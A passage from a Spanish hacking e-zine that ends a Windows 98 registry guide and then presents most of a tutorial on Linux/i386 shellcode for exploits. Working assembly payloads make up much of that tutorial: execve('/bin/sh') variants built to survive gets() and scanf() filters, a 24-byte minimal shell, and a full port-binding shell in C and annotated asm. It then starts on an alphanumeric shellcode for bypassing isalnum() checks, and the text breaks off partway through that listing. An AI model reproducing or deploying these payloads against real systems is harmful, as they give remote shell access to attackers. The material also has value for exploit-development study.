copia se extrae de HKEY_USERS\Usuario. Las subclaves que contiene esta clave
son:

- AppEvents: Contiene vias de acceso a archivos de sonido que son
cargados para ciertos sucesos determinados (errores, etc).

- ControlPanel: Contiene datos que pueden ser modificados en la
ventana del Panel de control.

- Display: Contiene datos de la pantalla del usuario actual (esta
clave solamente esta disponible cuando un usuario inicia una sesion
con los perfiles de usuario activados).

- InstallLocationsMRU: Contiene los valores que definen los caminos
usados en el ultimo proceso de instalacion.

- Keyboard layout: Contiene informacion acerca de la disposicion del
teclado (icono teclado del Panel de control).

- Network: Contiene subclaves que describen las conexiones de red
persistentes y recientes y el estado de la red.

- RemoteAccess: Subclave opcional que solamente esta disponible si
esta instalado el servicio Acceso remoto. En ella se definen
configuraciones de acceso remoto.

- Software: Describe las propiedades especificas del usuario del
software instalado por el usuario (informacion que anteriormente se
almacenaba en el fichero WIN.INI).


> HKEY_LOCAL_MACHINE
Esta rama define toda la informacion especifica para la maquina local, tales
como los controladores, el hardware instalado, el mapa de los puertos y la
configuracion del software. Esta informacion es valida para todos los
usuarios que estan conectados al sistema. Las subclaves que contiene esta
clave son:

- Config: Guarda la configuracion de la maquina. Contiene dos
entradas: una para las configuraciones de pantalla y otra para las
impresoras del sistema.

- Driver: Contiene subclaves vacias.

- Enum: La Enumeracion de bus sirve para llevar la cuenta de todos los
componentes de hardware que estan instalados.

- HARDWARE: Esta subclave contiene configuraciones de los puertos
serie que estan disponibles en la maquina local.

- Network: Cuando Windows 98 se ejecuta en red, esta subclave contiene
informacion de conexion de usuario.

- Security: Contiene informacion acerca del proporcionador de
seguridad (para aquellos PCs que funcionan en red).

- SOFTWARE: Aqui se almacena toda la informacion acerca del software
que esta instalado en la maquina.

- System: Contiene todos los datos necesarios para que Windows 98
pueda arrancar. Esta contiene una subclave llamada
CurrentControlSet, que a su vez contiene otras dos subclaves:
Control y Services. Control contiene informacion tal como el nombre
de la maquina y la configuracion del sistema de archivos. Services
lista los servicios utilizados en Windows 98.


> HKEY_CURRENT_CONFIG
Esta rama se ocupa de Plug&Play y contiene informacion acerca de la
configuracion actual de un PC de multiples configuraciones del hardware.
Las configuraciones de esta clave coinciden con las almacenadas en
HKEY_LOCAL_MACHINE\Config.

> HKEY_DYN_DATA
Esta rama contiene las claves que almacenan informacion dinamica de estado
de multiples dispositivos. Estos pueden ser utilizados por programas de
vigilancia para detectar problemas de hardware, el estado de los
dispositivos, etc.



Los archivos SYSTEM.DAT y USER.DAT
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Para un PC independiente un unico archivo es suficiente para almacenar todo
el registro, pero en una red son necesarios dos archivos para impedir que
usuarios finales puedan reconfigurar el sistema, y para poder mantener
algunas configuraciones globales para todos los usuarios.


> SYSTEM.DAT
Contiene la configuracion del sistema y la configuracion de los datos
(hardware, Plug&Play y aplicaciones). Estas configuraciones son necesarias
durante el inicio del sistema para cargar los controladores de dispositivos
y para determinar el hardware que esta disponible.

> USER.DAT
Contiene datos que son especificos de usuario (nombre de usuario,
configuracion del escritorio, configuracion del menu inicio, etc). Si se
activan los perfiles de usuario, un usuario individual puede tener sus
configuraciones personales almacenadas en una estructura de directorios bajo
el subdirectorio \Windows\Profiles, el cual contiene una copia del archivo
USER.DAT para este usuario.



Los archivos INI
^^^^^^^^^^^^^^^^

Dentro del directorio Windows tenemos los ficheros WIN.INI y SYSTEM.INI por
razones de compatibilidad con versiones anteriores de Windows. Estas
configuraciones se usan para aplicaciones de Win16.



Importacion de datos al registro
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Los archivos importados han de tener una extension REG y requieren un formato
especial. Los archivos validos de Windows 98 contienen tan solo caracteres
ASCII en un formato predeterminado. Su primera linea ha de contener la palabra
REGEDIT4 y la segunda ha de venir en blanco. Todas las lineas que siguen a la
primera linea en blanco contienen entradas de configuraciones para el
registro. Cada entrada empieza por el nombre de la clave de destino encerrada
entre corchetes [ ]. La clave de destino puede ya existir en el registro o
puede ser una nueva entrada. La linea que sigue a continuacion contiene el
valor de una entrada y su valor de datos asociado. Ejemplo:


REGEDIT 4

[HKEY_CLASSES_ROOT\.bmp]
@="Paint.Picture"

[HKEY_CLASSES_ROOT\.bmp\ShellNew]
<<nullfile>> = >> >>



Configuracion del escritorio, menu de inicio y panel de control
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Si en las entradas ponemos como valor 1 desactivaremos los accesos y con 0
los activaremos.


> Escritorio activo (Active Desktop)
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
Explorer

Las entradas posibles son:

- NoActiveDesktop -> Lo pondremos a 1 si no queremos permitir cambios en el
Active Desktop.


HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
ActiveDesktop

Para personalizar el Active Desktop tenemos la siguientes entradas:

- NoComponents -> Deshabilitar todos los elementos del escritorio.

- NoAddingComponents -> Deshabilitar la adicion de cualquier elemento al
escritorio.

- NoDeletingComponents -> Deshabilitar la eliminacion de cualquier
elemento del escritorio.

- NoEditingComponents -> Deshabilitar la edicion de cualquier elemento del
escritorio.

- NoClosingComponents -> Deshabilitar el cierre de cualquier elemento del
escritorio.

- NoHTMLWallpaper -> Desactivar el papel de tapiz.

- NoCloseDragDropBands -> Deshabilitar arrastrar, soltar y cerrar todas las
barras de herramientas.

- NoMovingBands -> Deshabilitar el redimensionamiento de todas las barras
de herramientas.


> Configuracion de la Administracion avanzada de energia
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Controls Folder\PowerCfg

Las entradas posibles son:

- ScreenSave_Data -> Contiene la contraseña encriptada del protector de
pantalla.

- ScreenSaveActive -> Con valor 1 el protector de pantalla queda activado.

- ScreenSaveLowPowerActive -> A 1 cuando el monitor soporta ahorro de
energia y se activa el Bajo consumo de energia.

- ScreenSaveLowPowerTimeout -> Tiempo limite en segundos.

- ScreenSavePowerOffActive -> A 1 cuando el monitor soporta ahorro de
energia y se activa el Apagar monitor.

- ScreenSaveTimeout -> Tiempo limite en segundos.

- ScreenSaveUsePassword -> A 1 cuando el protector de pantalla exige una
contrase¤a.


> Restriccion del acceso a Propiedades de Pantalla
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

Las entradas posibles son:

- NoDispCPL -> Desactivar el Panel de control de monitor (permite o no el
acceso a las propiedades de pantalla).

- NoDispBackgroungPage -> Ocultar la pagina de fondo.

- NoDispScrSavPage -> Ocultar la pagina del protector del pantalla.

- NoDispAppearancePage -> Ocultar la pagina de aspecto.

- NoDispSettingPage -> Ocultar la pagina de especificaciones.


> Restriccion del acceso a Propiedades de Red
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network

Las entradas posibles son:

- NoNetSetup -> Desactivar el panel de control de red.

- NoNetSetupIDPage -> Ocultar la pagina de identificacion.

- NoNetSetupSecurityPage -> Ocultar la pagina de control de acceso.


> Restriccion del acceso a Propiedades de Contraseñas
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

Las entradas posibles son:

- NoSecCPL -> Desactivar el panel de control de contraseñas.

- NoPWDPage -> Ocultar la pagina de cambio de contraseñas.

- NoAdminPage -> Ocultar la pagina de administracion remota.

- NoProfilPage -> Ocultar la pagina de perfiles de usuario.


> Restriccion del acceso a Propiedades de Impresoras
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
Explorer

Las entradas posibles son:

- NoPrinterTabs -> Ocultar las paginas generales y de detalle.

- NoDeletePrinter -> Desactivar la eliminacion de impresoras.

- NoAddPrinter -> Desactivar la adicion de impresoras.


> Restriccion del acceso a Propiedades del Sistema
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

Las entradas posibles son:

- NoDevMngPage -> Ocultar la pagina del administrador de dispositivos.

- NoConfigPage -> Ocultar la pagina de perfiles de hardware.

- NoFileSysPage -> Ocultar el boton del sistema de archivos.

- NoVirMemPage -> Ocultar el boton de memoria virtual.


> El menu Inicio
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
Explorer

Las entradas posibles son:

- NoSetFolders -> Oculta los simbolos de las carpetas de Impresoras y del
Panel de control en el submenu Configuraciin.

- NoSetTaskbar -> Oculta la entrada Barra de tareas y menu Inicio.

- NoRun -> Suprime la entrada Ejecutar del menu Inicio.

- NoFind -> Suprime la entrada Buscar del menu Inicio.

- NoLogOff -> Desactivar la orden Cerrar sesion.

- NoRecentDocsMenu -> Desactivar la orden Documentos.

- NoRecentDocsHistory -> No guarda historial de documentos recientemente
abiertos.

- ClearRecentDocsOnExit -> Borra el historial de documentos recientemente
abiertos.

- NoFavoritesMenu -> Desactivar la orden Favoritos.

- NoClose -> Desactivar la orden Apagar el sistema.


> Desactivar el Simbolo de MS-DOS
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
WinOldApp

Las entradas posibles son:

- Disabled -> Al ponerlo a 1 se desactiva el acceso a MS-DOS.


> Eliminar el simbolo de acceso directo (la flecha que aparece en el icono)
HKEY_CLASSES_ROOT\lnkfile

Ponemos la entrada lsShorcut como << >> para eliminar la flecha en los
accesos directos.

HKEY_CLASSES_ROOT\piffile

Ponemos la entrada lsShorcut como << >> para eliminar la flecha en los
archivos PIF.



Configuracion del SHELL
^^^^^^^^^^^^^^^^^^^^^^^

> Borrar el nombre del ultimo usuario en la ventana de inicio de sesion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon

La entrada es DontDisplayLastUserName.

> AutoRun para un CD-ROM
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
Explorer

La entrada para el AutoRun es NoDriveType-Auto-Run.



Diversas configuraciones del registro
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

> Lanzamiento de programas durante el inicio de Windows
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Las entradas posibles son:

- Run -> Las aplicaciones que estan registradas en esta clave son ejecutadas
cada vez que se inicia Windows.

- RunOnce -> Contiene unos valores con los nombres y los caminos de las
aplicaciones que seran ejecutadas tan solo una vez durante el inicio de
Windows. Windows quita las entradas que hay en esta clave una vez que el
sistema se inicia con exito.

- RunOnceEx -> La misma funcion que RunOnce pero permite que se pueden
especificar mas opciones para el inicio, tales como el orden en el que se
van a ejecutar las aplicaciones.

- RunServices -> Se usa para lanzar servicios de red o de sistema durante un
inicio de Windows.

- RunServicesOnce -> Se usa para lanzar servicios de red o de sistema
durante el proximo inicio de Windows con exito.


> Registro de errores de Windows
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Fault

La entrada LogFile contiene el camino y nombre del archivo de registro.

> Desactivar los nombres largos de archivos
HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\FileSystem

La entrada Win31FileSystem contiene un 0 para soportar nombres largos de
archivos y un 1 para usar el antiguo sistema de DOS.

> Cambiar la letra de una unidad de CD-ROM
HKEY_LOCAL_MACHINE\System\Enum

Estas subclaves contienen el valor CurrentDriveLetterAssignment con los
nombres asignados de unidad.

El valor AutoInsertNotification controla las notificaciones de Windows que
guardan relacion con el hecho de que se haya insertado un CD-ROM en una
unidad o no. El valor 1 activa la notificacion.



Despedida
^^^^^^^^^

Espero haber podido ayudaros a comprender un poco el registro de Windows. Si
veo que este articulo ha gustado a la gente la proxima vez escribire uno con
algunos trucos muy interesantes sobre el tema.


chapulino@netsearch-ezine.com



0x00

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_


=-[ 0x04 ]-==================================================================
=-[ NetSearch Ezine #5 ]-====================================================
=-[ Shellcodes en Linux/i386 (2) ]-==========================================
=-[ por RaiSe ]-=============================================================




----------------
// 0.- Indice
----------------


0.- Indice
1.- Prologo
2.- '%esp' sobreescrito
3.- Shellcode sin retornos de linea
4.- Syscall's de mas de 5 argumentos
5.- Minishellcode
6.- Enlazar un puerto con una shell usando sockets
7.- Pasando el codigo a un string
8.- Shellcode alfanumerica
9.- Recopilacion de shellcodes / extractor
10.- Despedida



----------------
// 1.- Prologo
----------------


Vista la buena acogida que ha tenido el articulo de shellcodes de NS #4 he
tomado la decision de hacer una segunda parte :). En este texto intentare
profundizar un poco mas en las shellcodes, con algunos casos concretos que
nos serviran especificamente para algunos xploits, asi como alguna que otra
shellcode un poco mas compleja ;). Se recomienda leer la primera parte sino
estas familiarizado con las scodes (http://netsearch.page.to/ns004.zip). En
los diferentes apartados del articulo voy poniendo los codigos de las
shellcodes. El penultimo apartado es una recopilacion de las scodes en
strings listas para ser usadas.



----------------------------
// 2.- '%esp' sobreescrito
----------------------------


Este caso se da cuando el registro esp (puntero al tope de la pila) ha
sido sobreescrito por cualquier motivo aleatorio. Un caso muy tipico es
cuando sobreescribimos una variable del tipo jmp_buf.. sino calculamos
exactamente lo que debemos sobreescribir lo mas probable es que 'machaquemos'
esp con un valor fuera del segmento actual. Al hacerlo conseguimos que el 90%
de las shellcodes no funcionen, ya que cuando hagamos la llamada a 'call'
para salvar la direccion del string en la pila, el sistema intenta guardarlo
en el tope de la pila (esp), que como apunta a una direccion erronea dara un
segment fault. La solucion a esto es muy sencilla, y consiste en copiar
nosotros manualmente a esp una constante que siempre estara dentro de la
pila, por ejemplo 0xbffffff0.

Pues bien, el nuevo aspecto de la tipica shellcode que ejecuta '/bin/sh'
seria algo asi:


<-- codigo -->

__asm__("
jmp 0x1f
popl %edi
movl %edi,%ebx
xorl %eax,%eax
movb %al,0x7(%edi)
movl %edi,0x8(%edi)
movl %eax,0xc(%edi)
leal 0x8(%edi),%ecx
leal 0xc(%edi),%edx
movb $0xb,%al
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
movl $0xbffffff0,%esp
call -0x29
.string \"/bin/sh\"
");

<-- fin codigo -->


Como veis es muy sencilla la solucion :).



----------------------------------------
// 3.- Shellcode sin retornos de linea
----------------------------------------


Hay veces que necesitamos tener la shellcode en una sola linea sin retornos
de carro ni nada parecido. Un caso muy claro de esto es cuando el programa
vulnerable utiliza una llamada a 'gets()' para leer el string que luego se
copiara a un buffer, etc. En este caso si la shellcode contienen un retorno
de linea el programa finalizara la ejecucion de 'gets()' y la scode quedara
a medias, siendo obvio que cuando se ejecute no funcionara correctamente..

En otras ocasiones, aun teniendo una scode sin retornos de linea no es
suficiente. Me estoy refiriendo a cuando el programa vulnerable lee los datos
con una llamada a 'scanf()'. Como todos sabemos, scanf solo lee hasta que se
encuentra un retorno de linea o un espacio en blaco. Resumiendo, necesitamos
una shellcode que no contenga ni retornos de linea ni espacios en blanco. La
lista de caracteres que no debe tener es la siguiente:

. Retornos de linea:

+ '\f', 0x0c, salto de pagina.
+ '\n', 0x0a, salto de linea.
+ '\r', 0x0d, salto de carro.
+ '\v', 0x0b, tabulacion vertical.

. Espacios:

+ '\b', 0x08, espacio atras.
+ '\t', 0x09, tabulacion horizontal.
+ ' ', 0x20, espacio en blanco.


Normalmente la tipica shellcode que ejecuta una shell contiene 2 saltos de
linea, 1 tabulacion vertical y 2 espacios atras. La solucion consiste en
cambiar las instruccion conflictivas por otras cuyos 'opcodes' no tengan esos
valores. La instrucciones en cuestion son las siguientes (estan sacadas de
un codigo mas o menos standard de un execve /bin/sh):


+ mov %eax,0xc(%esi) --> 1 salto de linea
+ lea 0xc(%esi),%edx --> 1 salto de linea
+ mov $0xb,%al --> 1 tabulacion vertical
+ mov %esi,0x8(%esi) --> 1 espacio atras
+ lea 0x8(%esi),%ecx --> 1 espacio atras


Pues bien, se cambian esas instrucciones por otras que consigan el mismo
resultado y ya esta.. El codigo cambiado seria algo asi:


<-- codigo -->

__asm__("
jmp 0x19
popl %edi
movl %edi,0x10(%edi)
xorl %edx,%edx
movb %dl,0x7(%edi)
movl %edx,0x14(%edi)
movl %edi,%ebx
leal 0x50(%edx),%eax
leal 0x10(%edi),%ecx
subl $0x45,%eax
int $0x80
call -0x1e
.string \"/bin/sh\"
");

<-- fin codigo -->


Simplemente se ha cambiado el registro %esi por %edi, el metodo de poner %eax
a 0xb y poco mas. Y nada.. ya esta la shellcode lista para ser usada.. ;).



-----------------------------------------
// 4.- Syscall's de mas de 5 argumentos
-----------------------------------------


En el articulo anterior solo habiamos tratado las shellcodes que utilizaban
syscalls con 5 argumentos como maximo. Haciendo un poco de memoria podemos
recordar que se ponia el numero de syscall en %eax, y los argumentos se iban
colocando en los registros consecutivamente de esta forma:

-> %ebx, %ecx, %edx, %esi, %edi

Pues bien, para utilizar una syscall con mas de 5 argumentos, como veremos,
es muy sencillo. Simplemente hay que colocar el numero de la syscall en %eax
(esto no cambia), y la lista de argumentos en un array (terminado en un long
null). La direccion del array se coloca en %ebx. Queria poner un ejemplo pero
es que no se que syscall poner que utilice mas de 5 argumentos.. Bueno, pues
nada.. simplemente se ponen los argumentos en un array y se copia la
direccion a %ebx y en %eax el numero de syscall. La estructura quedaria algo
asi:

%eax -> 0xn (n es el numero de la syscall, /usr/include/asm/unistd.h)
%ebx -> 0xbfffffa0

(0xbfffffa0) -> 0x00000001 0xbffffff5 .. 0x00000000 (es un caso hipotetico)
int $0x80



----------------------
// 5.- Minishellcode
----------------------


Hay veces que a la hora de xplotar un programa tenemos tan poca cantidad de
memoria, que la longitud de la shellcode se convierte en algo critico. Por lo
tanto lo logico es que cuanto menor sea la shellcode, pues mejor. En casos
cuando el buffer a sobreescribir tiene un tamaño de 32 bytes por ejemplo,
necesitamos una scode de unos 36 bytes como maximo, ya que el tamaño que
tendremos sera: tamaño_del_buffer + 4 (%ebp). Pero en ese caso solo podriamos
copiar la direccion de retorno una vez, ya que no tendriamos espacio para
mas.. y tampoco podriamos poner ningun nop (por la misma razon).

Entonces el tamaño de la scode deberia ser de unos 36-12 mas o menos.. asi
podriamos copiar la direccion de retorno 3 veces, o copiarla 2 veces y poner
4 nops.. Y ahi es cuando empezamos a optimizar el codigo lo maximo posible
para reducir el tamaño.

Lo primero que haremos (resulta obvio), es quitar la llamada a 'exit', ya que
si la shellcode funciona no nos hara falta para nada. Despues cambiamos unas
instrucciones por otras que ocupan menos bytes y que hacen lo mismo, como por
ejemplo usar el stack con push's para colocar el string, en vez del tipico
jmp-call. Despues cambiamos un movl por un leal y poco mas.. El path a
ejecutar es //bin/sh, no quito una barra porque con dos funciona
perfectamente y estariamos gastando 1 byte mas. El resultado es una shellcode
de 24 bytes que ejecuta una shell. El codigo seria algo asi:


<-- codigo -->

__asm__("
xorl %edx,%edx
pushl %edx
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
pushl %edx
pushl %ebx
movl %esp,%ecx
leal 0xb(%edx),%eax
int $0x80
");

<-- fin codigo -->


Despues de darle mil vueltas no he conseguido reducirla mas, si alguien sabe
como que me mande un mail a raise@netsearch-ezine.com please ;).



-------------------------------------------------------
// 6.- Enlazar un puerto con una shell usando sockets
-------------------------------------------------------


Pues bien, esta es una shellcode que enlaza un puerto con una shell como muy
bien dice el titulo de este apartado (vease 3 lineas para arriba ;) ). La
verdad es que no tiene ningun misterio, simplemente hay que saber un par de
cosas a la hora de usar sockets..


+ El codigo de la syscall siempre sera 0x66 y se coloca en %eax

+ En %ebx se coloca el codigo de la subrutina, que puede mirarse en
/usr/include/linux/net.h.

+ En %ecx se coloca la direccion de la lista de argumentos. Este caso en
un tanto especial ya que la lista no tiene que estar terminada por un nulo,
sino que se encarga el sistema de saber cuantos argumentos necesita cada
syscall.

+ La estructura sockaddr_in se consigue copiando los valores de cada elemento
en en forma de media palabra (2 bytes).

+ La syscall definitiva se ejecuta con int $0x80 (esto tampoco cambia).


La manera de enlazar el puerto con la scode se consigue ejecutando una serie
de syscall's consecutivamente:


+--------------------------------------------------------+
| |
| fork() -> exit() proceso padre -> socket() -> bind() |
| -> listen() -> accept() -> dup2() -> execve() |
| |
+--------------------------------------------------------+


Asi, resumido brevemente, seria crear un proceso con fork, crear un socket
con idem, enlazar el socket con bind, ponerlo a la escucha con listen,
aceptar 'una' conexion con accept, redireccionar las entradas/salidas con
dup2 hacia el socket, y ejecutar una shell. Es importante recalcar que el
codigo no vuelve a ejecutar accept() una y otra vez con un bucle, sino que en
cuanto se establezca una conexion con el puerto en cuestion y se termine la
comunicacion, el proceso desaparecera y no se podra volver a conectar.

El codigo en C mas sencillo para hacer esto seria mas o
menos el siguiente:


<-- codigo C -->

int soc_local,soc_remoto; // declarar los sockets
struct sockaddr_in addr_l; // declarar la estructura sockaddr_in

soc_local=socket(2,1,0); // crear el socket
addr_l.sin_family = 2; // family = AF_INET
addr_l.sin_port = 0x20; // puerto 0x2000 = 8192
addr_l.sin_addr.s_addr = 0; // s_addr = INADDR_ANY

bind(soc_local,(struct sockaddr *) &addr_l, 0x10); // enlazar el socket
listen(soc_local,1); // poner el socket a la escucha
soc_remoto=accept(soc_local,0, 0); // aceptar conexion

dup2(soc_remoto,0);
dup2(soc_remoto,1); // duplicar descriptores
dup2(soc_remoto,2);
execl("/bin/sh","sh",0); // ejecutar /bin/sh

<-- fin codigo C -->


El codigo en asm seria el siguiente (el codigo esta sin optimizar,
seguramente sobraran unos 50 bytes..):


<-- codigo -->

__asm__("

decl %esp // decrementa %esp
decl %esp // decrementa %esp
decl %esp // decrementa %esp
decl %esp // decrementa %esp
popl %edi // copia la dire de retorno de la funcion
// anterior en %edi (dicha direccion siempre
// estara en %esp-4 sino se toco nada de la
// pila despues del ret).

movl %edi,%esp // copia %edi a %esp, esto se hace para
// poder hacer push's a saco sin preocupar-
// nos de sobreescribir la shellcode, ya
// que %esp siempre apuntara 'por encima'
// de la shellcode.
// fork
xorl %eax,%eax // pone %eax a 0
movl %eax,%ebx // copia %eax a %ebx, %ebx=0
movb $0x2,%al // %eax=0x2 (fork)
int $0x80 // ejecuta el fork()
cmpl %eax,%ebx // compara si %eax es 0
je 0x5 // si %eax=0 salta el exit() que viene a
// continuacion
// exit
leal 0x1(%ebx),%eax // pone %eax a 0x1 (exit)
int $0x80 // ejecuta exit() (proceso padre)

// socket
xorl %edx,%edx // pone %edx a 0
movl %edx,0x8(%edi) // copia un long null a la dire %edi+8
incl %edx // %edx=1
movl %edx,0x4(%edi) // copia 0x00000001 a la dire %edi+4
incl %edx // %edx=2
movl %edx,(%edi) // copia 0x00000002 a la dire %edi
movl %edi,%ecx // copia %edi a %ecx
xorl %ebx,%ebx // pone %ebx a 0
incl %ebx // pone %ebx a 1 (socket)
leal 0x65(%ebx),%eax // pone %eax a 0x66
int $0x80 // ejecuta socket(2,1,0)

// bind
movl %eax,%esi // copia 'soc_local' en %esi
xorl %edx,%edx // pone %edx a 0
movl %edx,(%edi) // copia un long null a la dire %edi
movb $0x2,(%edi) // pone 0x0002 en la dire %edi (1 hword)
movb $0x20,0x2(%edi) // pone 0x20 en la dire %edi+2
movl %edx,0x4(%edi) // copia un long null a la dire %edi+4
movl %esi,0x8(%edi) // copia 'soc_local' a la dire %edi+8
movl %edi,0xc(%edi) // copia la dire de sockaddr_in a %edi+0xc
movl %edx,0x10(%edi) // copia un long null a la dire %edi+0x10
movb $0x10,0x10(%edi) // pone en la dire %edi+0x10 0x00000010
// Con esto estamos declarando la lista de
// argumentos de bind(). La direccion de
// dicha lista se copiara a %ecx.
leal 0x66(%edx),%eax // pone %eax=0x66
leal 0x2(%edx),%ebx // %ebx=2 (bind)
leal 0x8(%edi),%ecx // carga la dire de sockaddr_in en %ecx
int $0x80 // ejecuta bind()

// listen
movl %esi,(%edi) // copia 'soc_local' a la dire %edi
movl %edx,0x4(%edi) // long null a la dire %edi+4
movb $0x1,0x4(%edi) // 0x00000001 en la dire %edi+4
leal 0x66(%edx),%eax // carga 0x66 en %eax
leal 0x4(%edx),%ebx // %ebx = 4 (listen)
movl %edi,%ecx // lista de argumentos en %ecx
int $0x80 // ejecuta listen()

//

accept 
movl %edx,0x4(%edi) // long null a la dire %edi+4
movl %edx,0x8(%edi) // long null a la dire %edi+8
// en la dire %edi sigue estando soc_local
leal 0x66(%edx),%eax // %eax=0x66
leal 0x5(%edx),%ebx // %ebx = 5 (accept)
int $0x80 // ejecuta accept()

// dup2
movl %eax,%ebx // copia 'soc_remoto' a %ebx
xorl %ecx,%ecx // %ecx = 0
leal 0x3f(%edx),%eax // %eax = 0x3f (dup2)
int $0x80 // ejecuta dup2(soc_remoto,0)
leal 0x3f(%edx),%eax // %eax = 0x3f (dup2)
incl %ecx // incrementa en 1 %ecx
int $0x80 // ejecuta dup2(soc_remoto,1)
leal 0x3f(%edx),%eax // %eax = 0x3f (dup2)
incl %ecx // incrementa en 1 %ecx
int $0x80 // ejecuta dup2(soc_remoto,2)

// execve
xorl %edx,%edx // %edx=0
pushl %edx // long null a la pila
pushl $0x68732f6e //
pushl $0x69622f2f // coloca el string /bin/sh seguido del
// nulo q pusimos antes (pushl %edx) en
// la pila.
movl %esp,%ebx // carga la dire del string en %ebx
pushl %edx // long null a la pila
pushl %ebx // dire del string a la pila
movl %esp,%ecx // carga la dire de los args en %ecx
leal 0xb(%edx),%eax // %eax=0xb
int $0x80 // ejecuta execve()

");

<-- fin codigo -->


Una vez que se ejecute abrira un puerto (segun esta configurada el 8192) y
aceptara UNA conexion, despues se cerrara el puerto y adios muy buenas.. Si
quieres mejorar esta shellcode no dudes en mandarme un mail ;).



--------------------------------------
// 7.- Pasando el codigo a un string
--------------------------------------


En el articulo anterior (NS #4), habia dicho como pasar la shellcode a un
string manualmente, pero eso la verdad es que es un poco/bastante rollazo si
la shellcode tiene unas dimensiones un poco grandes. Para facilitar la tarea
he creado una funcion que te lo pasa automaticamente y te hace un print de la
scode bastante mono..

La forma de utilizarlo es la sencilla. La estructura del programa en C con el
codigo de la scode tiene que tener un estilo de este tipo:


<-- codigo -->

#include ..tal..
#include <scodes.h>

void shellcode()
{
__asm__("

codigo de la shellcode
.byte 0x00
");
}

main()
{
printsc((int)shellcode);
}

<-- fin codigo -->


La funcion printsc() esta declarada en el fichero scodes.h que se incluye al
final de este articulo (apartado recopilacion). La forma de llamar a dicha
funcion es la siguiente:


printsc((int)dire_funcion_scode);


Resumiendo, se mete el codigo de la shellcode en una funcion que solo
contenga un __asm__() con el code terminado de un null (.byte 0x00). Esto
ultimo es importante ya que sino lo ponemos la scode sera mas larga de lo que
deberia (se pasara al string el codigo del __asm__ y lo que haya a
continuacion), por lo tanto hay que poner el .byte 0x00 para diferenciar cual
es el final de nuestro codigo. El file scodes.h se copia a /usr/includes y se
incluye en nuestro prog con #include <scodes.h>.

La scode se muestra por pantalla ordenada y esop, luego solo es cuestion de
cut & paste ;).



-------------------------------
// 8.- Shellcode alfanumerica
-------------------------------


Hay algunas veces que necesitamos una scode que solo contenga valores
alfanumericos una vez 'printeada', es decir solamente letras (mayusculas,
minisculas, y numeros). Un caso muy tipico podria ser un programa 'xplotable'
donde no tuvieramos sitio para poner la scode, a excepcion de una funcion
donde tenemos sitio pero que hace chequeo de valores alfanumeros por medio de
la funcion isalnum().

La solucion obvia pasa por tener un codigo que ejecute una shell (o cualquier
otra cosa de la que saquemos provecho), y que sea capaz de pasar por un
chequeo de isalnum(). En este caso particular veremos una sc que ejecuta un
execve() de /bin/sh, pero se pueden hacer mas cosas.

Para conseguir un codigo que no tenga ningun opcode (opcode es el valor en
hexadecimal de cada intruccion en asm) no printeable, tendremos que recurrir
a ciertas artimañanas.. Para empezar la mayoria de instrucciones como xorl
%eax,%eax, movl %eax,%edx no se podran usar, asi que hay que usar
otras. Bueno, lo mejor sera que pegue la scode y vaya comentandola brevemente
linea por linea :).

Tengo que decir que el metodo de los nops alfanumericos lo ha desarrollado
Fatuo (Fuego Fatuo - leonardo@hispasecurity.com), aparte de alguna que otra
scode alfanumerica tambien.

Dicho metodo consiste en sobreescribir %ebp con la direccion de retorno
(normalmente casi siempre se sobreescribe en los stack overflow normales), y
luego en vez de poner nops poner 'incl %ebp' -> caracter 'E'. De esta forma
se calcula la direccion de retorno exacta donde terminan los 'nops' y empieza
la shellcode. Dicha direccion hay que saberla exacta por el tema de
automodificacion de codigo que se vera mas adelante. Tambien hay otro metodo
un poco mas burro con el cual no hace falta sobreescribir %ebp, pero tiene
ciertas limitaciones como el numero de nops a poner y el tamaño. Yo tenia
desarrollada una sc con ese metodo que admitia 200 nops y tenia un tamaño de
392 bytes creo q eran.. pero hay que reconocer que mola mas este metodo asi
que hice una scode optimizada y se kedo en 88 bytes :).

Para copiar un registro a otro, al no poder usar mov's, tendremos que
hacerlo con xor's. La teoria es que si tenemos 2 valores, pongamos A y B,
haciendo lo siguiente quedaria tal que asi:

A xor B = C (C es el resultado)
C xor A = B
C xor B = A

Veamoslo con numeros:

5 xor 2 = 7
7 xor 5 = 2
7 xor 2 = 5

Por lo tanto, si queremos copiar %eax a %edi, usaremos una memoria intermedia
que sepamos que no contiene codigo de la scode, de la siguiente forma:

xorl 0x60(%ebp) , %eax
xorl %eax , 0x60(%ebp) -> aqui hemos copiado %eax a la dire 0x60(%ebp)
xorl %edi , 0x60(%ebp)
xorl 0x60(%ebp) , %edi -> ya tenemos %eax en %edi


Bueno, y ahora ya empecemos con la scode :)..


+ <dec %esp="">
. Decrementa en 1 unidad %esp.

+ <dec %esp="">
. Idem.

+ <dec %esp="">
. Idem.

+ <dec %esp="">
. Idem XD. Restamos 4 a %esp en total.

+ <popl %eax="">
. Salvamos la direccion de retorno de la funcion anterior en %eax.

+ <xorl 0x58(%ebp),%eax="">
. Vamos a utilizar una direccion intermedia para copiar %eax a %esp.

